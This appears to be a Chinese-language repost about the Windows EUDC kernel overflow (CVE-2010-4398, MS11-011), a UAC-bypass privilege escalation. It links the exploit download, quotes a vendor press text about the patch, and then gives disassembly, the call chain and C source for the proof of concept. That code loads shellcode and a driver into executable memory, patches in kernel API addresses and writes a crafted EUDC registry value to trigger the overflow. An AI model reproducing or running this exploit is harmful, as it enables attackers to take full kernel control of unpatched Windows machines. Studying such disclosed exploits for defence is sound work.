Elevation of privileges under Windows Vista/7 (UAC Bypass) 0day,Bypassing UAC with User Privilege under Windows Vista/7 - Mirror。

    补丁出来了价值就不大了。

Exp下载地址:

    http://www.exploit-db.com/sploits/uacpoc.zip

漏洞分析:

    http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/
    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4398

漏洞介绍:

  Windows 内核权限提升漏洞 (Windows“长老”漏洞)

  安全公告:MS11-011

  知识库编号:KB2393802

  级别:重要

  描述:本补丁修复了Windows内核中一处已经被公开披露的安全漏洞和一处秘密报告的安全漏洞,已经入侵系统的攻击者可能利用这些漏洞提升权限,进一步控制整个系统。

    影响操作系统:Windows XP/2003/Vista/2008/Windows 7

漏洞修复:

  北京时间2011年2月9日凌晨,微软2月安全更新发布了12个安全补丁,一举修复了22处漏洞,其中包括一个潜伏期长达19年的Windows“长老”漏洞(MS11-011),微软为此向全球首先发现该漏洞的360安全中心公开致谢。这是360第二次因独家发现Windows漏洞而受到微软致谢,也是迄今为止国内唯一获此殊荣的个人电脑安全厂商。

  微软2月安全公告显示,本月漏洞补丁有3个“危急”级别、9个“重要”级别,危害较大的IE“圣诞”漏洞、Windows图形渲染引擎漏洞本次得到了修复。这两个漏洞的信息都已经在网上公开曝光多日,为此360安全卫士还分别发布过临时补丁。而本次公告中最值得关注的,是一个以潜伏期之长、威胁程度之高而刷新纪录的“长老”漏洞。

  据360安全中心介绍,“长老”漏洞最早出现在1992年的早期Windows NT系统中,并影响到其后的所有Windows版本,比之前谷歌工程师发现的另一个Windows“高龄”漏洞还早一年。利用“长老”漏洞,木马病毒可以获得电脑的最高权限,从而轻而易举地破坏杀毒软件、防火墙、还原系统、沙箱等各类安全软件,使电脑丧失对木马病毒的抵抗力。

  360安全中心是在2010年10月底独家发现“长老”漏洞的。发现该漏洞的巨大危害性后,360安全卫士紧急开发了独家的临时补丁,并主动为用户升级,比微软官方补丁早了两个月;同时,360迅速将技术细节通报给了微软应急安全响应中心(MSRC),以协助微软公司制作官方补丁。

  “360安全产品有3.5亿用户,每天捕获新增木马样本200万,而大量新木马都是利用漏洞来传播和攻击安全软件,这使得360能够第一时间发现新的漏洞,并用最快速度开发出修复这些漏洞的临时补丁。”360安全专家石晓虹博士表示,在网上出现针对“长老”漏洞和IE“圣诞”漏洞等0day漏洞的攻击时,360安全卫士均迅速发布了独家的临时补丁,及时遏止了漏洞攻击的扩散,而且与之后微软发布的官方补丁完全兼容。

.text:BF81BA91                 push    esi             ; Environment
.text:BF81BA92                 push    esi             ; Context
.text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
.text:BF81BA98                 push    edi             ; Path
.text:BF81BA99                 lea     eax, [ebp+DestinationString]
.text:BF81BA9C                 push    esi             ; RelativeTo
.text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
.text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
.text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
.text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
.text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
.text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
.text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
.text:BF81BACE                 mov     dword_BFA198FC, esi
.text:BF81BAD4                 mov     dword_BFA19900, esi
.text:BF81BADA                 mov     dword_BFA19904, esi
.text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
.text:BF81BAE6                 mov     [ebp+var_8], eax

GDI32.EnableEUDC ->
NtGdiEnableEudc ->
GreEnableEUDC ->
sub_BF81B3B4 ->
sub_BF81BA0B ->
RtlQueryRegistryValues (Overflow occurs)

// Allocate buffer for the driver
LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));    

BYTE* pMem;            // shellcode
DWORD ExpSize = 0;

BYTE RegBuf[0x40] = {0};    // reg binary buffer

pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pMem, Data, sizeof(Data));                // Copy shellcode

*(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer

ExpSize = 0x28;

// Get the running kernel file name
HMODULE hDll = GetModuleHandle(L"ntdll.dll");
pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
ULONG AllocSize = 0;
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);

pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);

//Relocation to the running kernel base
DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;

free(pModInfo);

// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
// so we need a valid pool address to avoid BSOD.

if(vi.dwBuildNumber < 7600)    
{
    FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);

    HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
    AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
    fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

    pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
    fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

    for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
        {
            *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
            break;
        }
    }
    free(pHandleInfo);
}
else
{
    FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
}

// Now fills the API addresses needed
FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
FreeLibrary(hKernel);

// Here we tell the shellcode(PE loader) where the driver buffer is.
FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);

UINT codepage = GetACP();
TCHAR tmpstr[256];
_stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));

RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);

__try
{
    EnableEUDC(TRUE);    
}
__except(1)
{
}
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegCloseKey(hKey);